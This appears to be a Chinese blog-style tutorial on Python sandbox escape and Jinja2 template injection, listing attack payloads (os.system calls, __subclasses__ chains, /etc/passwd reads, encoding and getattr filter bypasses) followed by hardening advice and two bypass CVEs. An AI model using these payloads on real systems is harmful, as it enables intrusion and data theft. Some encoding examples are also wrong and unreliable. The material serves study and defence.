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沙箱逃逸（Python沙盒逃逸深度解析）

news 来源：原创 2025/5/18 4:42:31

一、沙盒逃逸的核心目标

执行系统命令
通过调用os.system、subprocess.Popen等函数执行Shell命令，例如读取文件或反弹Shell。
文件操作
读取敏感文件（如/etc/passwd）、写入后门文件。
环境信息泄露
获取沙盒配置、环境变量或密钥（如__builtins__中的敏感模块）。

探测沙盒漏洞

基础测试：注入{{7*7}}或__import__(‘os’).system(‘id’)验证模板引擎动态执行能力。
检查内置对象：通过dir()或__builtins__查看可用模块。
访问危险函数
直接调用模块：若未禁用os，直接执行命令：

__import__('os').system('cat /flag')

间接导入：通过字符串编码绕过关键字过滤：

__import__('b64d'.decode('rot13')).system('id')  # 'b64d'→'os'

类继承链利用

遍历子类：从基础类（如object）通过__subclasses__()找到危险类：

''.__class__.__mro__[-1].__subclasses__()[X].__init__.__globals__['os'].system('id')

其中X为os._wrap_close或subprocess.Popen的类索引。
利用文件对象：通过types.FileType或open读取文件：

types.FileType('/etc/passwd').read()

绕过过滤的技巧

属性链分割：使用getattr或|attr()绕过点号过滤：

request|attr('application')|attr('__globals__')['os'].system('id')

编码混淆：Base64、ROT13编码命令字符串：

eval('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2lkJyk='.decode('base64'))

利用内联函数：通过timeit、platform等非敏感模块间接调用命令：

timeit.timeit("__import__('os').system('id')", number=1)

Jinja2模板引擎SSTI

漏洞场景：直接渲染未过滤的用户输入，如render_template_string(user_input)。
利用链：通过{{config}}泄露密钥，或通过类继承链调用os模块。
RestrictedPython沙盒

限制机制：禁用__import__、open等函数。
绕过方法：利用__builtins__.__dict__或_getattr_动态获取危险函数。
CTF题目实战

常见考点：通过__subclasses__找到warnings.catch_warnings类，其__init__的全局变量包含sys模块。
文件读取绕过：使用

().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()。

禁用高危函数
在沙盒配置中移除eval、exec、os、subprocess等模块，例如：

__builtins__.__dict__.clear() # 清除内置函数
限制模块导入

白名单机制：仅允许预定义的模块和函数。
沙盒环境：使用RestrictedPython或PyPy沙盒，限制全局状态访问。
输入过滤与静态模板

正则过滤：拦截{{、__class__、__import__等敏感符号。
静态渲染：优先使用render_template而非动态拼接模板。
监控与加固

日志审计：记录异常代码执行行为。
容器隔离：将沙盒运行在Docker等隔离环境中，限制资源访问。

CVE-2017-5524：Plone CMS因未过滤Python字符串格式化方法导致沙盒绕过，攻击者可泄露敏感数据。
Temporal沙盒绕过：通过sandbox_unrestricted()上下文管理器或禁用@workflow.defn(sandboxed=False)完全绕过防护。